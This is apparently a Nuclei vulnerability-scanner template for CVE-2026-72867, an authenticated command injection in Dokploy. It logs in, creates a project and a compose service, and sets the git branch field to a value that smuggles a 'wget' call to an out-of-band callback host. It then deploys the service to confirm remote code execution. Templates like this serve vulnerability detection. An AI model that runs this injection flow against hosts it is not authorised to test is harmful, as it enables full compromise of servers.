id: CVE-2026-72867 info: name: Dokploy <= 0.29.12 - Authenticated RCE via Command Injection author: DhiyaneshDk severity: critical description: | Dokploy <= 0.29.12 is vulnerable to authenticated OS command injection through the customGitBranch field of a compose service. The value is concatenated unsanitized into git clone --branch ... and executed via /bin/sh during deploy (packages/server/src/utils/providers/git.ts -> child_process.exec). An authenticated user can inject shell metacharacters to achieve remote code execution on the Dokploy host. impact: | Low-privileged authenticated users can execute arbitrary commands on the host, potentially leading to full system compromise. remediation: | Upgrade to version 0.29.13 or later. reference: - https://lulztigre.pw/posts/dokploy-cve-2026-72867-working-poc.html - https://nvd.nist.gov/vuln/detail/CVE-2026-72867 - https://github.com/dokploy/dokploy classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H cvss-score: 9.9 cve-id: CVE-2026-72867 epss-score: 0.034 epss-percentile: 0.8879 cwe-id: CWE-78 metadata: verified: true max-request: 5 vendor: dokploy product: dokploy shodan-query: html:"Dokploy" tags: cve,cve2026,dokploy,rce,authenticated,oast,intrusive,oob variables: rnd: "{{rand_base(8)}}" flow: http(1) && http(2) && http(3) && http(4) && http(5) http: - raw: - | POST /api/auth/sign-in/email HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"email":"{{email}}","password":"{{password}}"} matchers: - type: dsl dsl: - 'status_code == 200' internal: true extractors: - type: regex name: session_cookie part: header group: 1 regex: - "(?i)Set-Cookie:\\s*(better-auth[^=]*=[^;\\s]+)" internal: true - raw: - | POST /api/trpc/project.create?batch=1 HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Cookie: {{session_cookie}} {"0":{"json":{"name":"p{{rnd}}","description":""}}} matchers: - type: dsl dsl: - 'contains(body, "projectId")' - 'status_code == 200' condition: and internal: true extractors: - type: json name: environment_id internal: true part: body json: - '.[0].result.data.json.environment.environmentId' - raw: - | POST /api/trpc/compose.create?batch=1 HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Cookie: {{session_cookie}} {"0":{"json":{"name":"c{{rnd}}","environmentId":"{{environment_id}}"}}} matchers: - type: dsl internal: true dsl: - 'contains(body, "composeId")' - 'status_code == 200' condition: and extractors: - type: json name: compose_id internal: true part: body json: - '.[0].result.data.json.composeId' - raw: - | POST /api/trpc/compose.update?batch=1 HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Cookie: {{session_cookie}} {"0":{"json":{"composeId":"{{compose_id}}","sourceType":"git","customGitUrl":"https://github.com/dokploy/dokploy.git","customGitBranch":"main;wget http://{{interactsh-url}}/{{rnd}};echo "}}} matchers: - type: dsl dsl: - 'contains(body, "customGitBranch")' - 'status_code == 200' condition: and internal: true - raw: - | POST /api/trpc/compose.deploy?batch=1 HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Cookie: {{session_cookie}} {"0":{"json":{"composeId":"{{compose_id}}"}}} matchers: - type: dsl dsl: - 'contains_any(interactsh_protocol, "http", "dns")' # digest: 490a0046304402203d0c0c1a571af97007cd05468fc8421be1141ed605a2f979b33536a7bbec0692022039df840afcbfef2d268ba0534f85afb8240e11803a81b3313e31763419b2bc79:922c64590222798bb761d5b6d8e72950